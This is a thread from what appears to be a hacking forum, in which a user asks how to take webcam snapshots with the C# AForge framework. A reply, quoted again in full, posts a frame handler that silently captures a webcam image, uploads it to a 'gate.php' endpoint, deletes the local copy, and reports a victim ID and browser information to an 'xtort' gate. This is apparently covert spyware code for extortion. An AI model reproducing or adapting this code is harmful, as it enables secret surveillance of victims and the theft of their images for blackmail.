Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C# 

Creating snapshots from a webcam video using AForge Framework

I am using the AForge framework to grab a snapshot of a video frame captured through a webcam.

I have written this method but it's not working:

Code
public void GrabFrames(object sender, ref Bitmap bm)
      {
      if (button1WasClicked)
      {
      Bitmap capturedImage = (Bitmap)bm.Clone();
      string strGrabFileName = String.Format("C:\\Users\\Nov\\Documents\\CapturedVideo\\Snapshot_{0:yyyyMMdd_hhmmss.fff}.bmp", DateTime.Now);
      capturedImage.Save(strGrabFileName, System.Drawing.Imaging.ImageFormat.Bmp);

      }

      }

Anyone have any experience with AForge?
Check for a condition in which you'd like the application to grab a frame, and:
Code
try
      {
      WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice);
      Device = new VideoCaptureDevice(WebcamColl[0].MonikerString);
      Device.NewFrame += Device_NewFrame;
      Device.Start();
      }
      catch (Exception ex) { }

My frame handler. There'll be shit you don't need, just take it out:
Code
static void Device_NewFrame(object sender, NewFrameEventArgs e)
      {
      try
      {
      Bitmap Bmp = (Bitmap)e.Frame.Clone();
      string calcFilename = gHandler.getuID() + Int64.Parse(DateTime.UtcNow.ToString("yyyymmddhhMMss"));
      string calcPath = Path.GetTempPath() + "/" + calcFilename + ".dat";
      Bmp.Save(calcPath, System.Drawing.Imaging.ImageFormat.Bmp);
      Device.SignalToStop();

      System.Net.WebClient Client = new System.Net.WebClient();
      Client.Headers.Add("Content-Type", "binary/octet-stream");
      byte[] result = Client.UploadFile("http://localhost/gate.php", "POST", calcPath);
      MessageBox.Show(System.Text.Encoding.UTF8.GetString(result, 0, result.Length));
      Client.Dispose();

      File.Delete(calcPath);

      gHandler.sendToGate("http://localhost/xtort/gate.php", bHandler.getBrowser(), gHandler.getuID(), calcFilename);
      }
      catch (Exception ex) { }
      }
(Jul 20, 2014 06:06 AM)frapppp Wrote:  Check for a condition in which you'd like the application to grab a frame, and:
Code
try
      {
      WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice);
      Device = new VideoCaptureDevice(WebcamColl[0].MonikerString);
      Device.NewFrame += Device_NewFrame;
      Device.Start();
      }
      catch (Exception ex) { }

My frame handler. There'll be shit you don't need, just take it out:
Code
static void Device_NewFrame(object sender, NewFrameEventArgs e)
      {
      try
      {
      Bitmap Bmp = (Bitmap)e.Frame.Clone();
      string calcFilename = gHandler.getuID() + Int64.Parse(DateTime.UtcNow.ToString("yyyymmddhhMMss"));
      string calcPath = Path.GetTempPath() + "/" + calcFilename + ".dat";
      Bmp.Save(calcPath, System.Drawing.Imaging.ImageFormat.Bmp);
      Device.SignalToStop();

      System.Net.WebClient Client = new System.Net.WebClient();
      Client.Headers.Add("Content-Type", "binary/octet-stream");
      byte[] result = Client.UploadFile("http://localhost/gate.php", "POST", calcPath);
      MessageBox.Show(System.Text.Encoding.UTF8.GetString(result, 0, result.Length));
      Client.Dispose();

      File.Delete(calcPath);

      gHandler.sendToGate("http://localhost/xtort/gate.php", bHandler.getBrowser(), gHandler.getuID(), calcFilename);
      }
      catch (Exception ex) { }
      }

Thanks bro. Going to try it out this evening.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by _Wozniak_Jul 4, 2015 12:34 PM 1 211 Jul 4, 2015 12:34 PM
Last Post: Kokomikta152
[C#] by Benoit ᵇᵃˡˡˢDec 15, 2014 02:23 AM 5 305 Dec 15, 2014 02:23 AM
Last Post: Benoit ᵇᵃˡˡˢ
[.NET] by PapaBeansDec 1, 2014 08:39 AM 2 163 Dec 1, 2014 08:39 AM
Last Post: Only3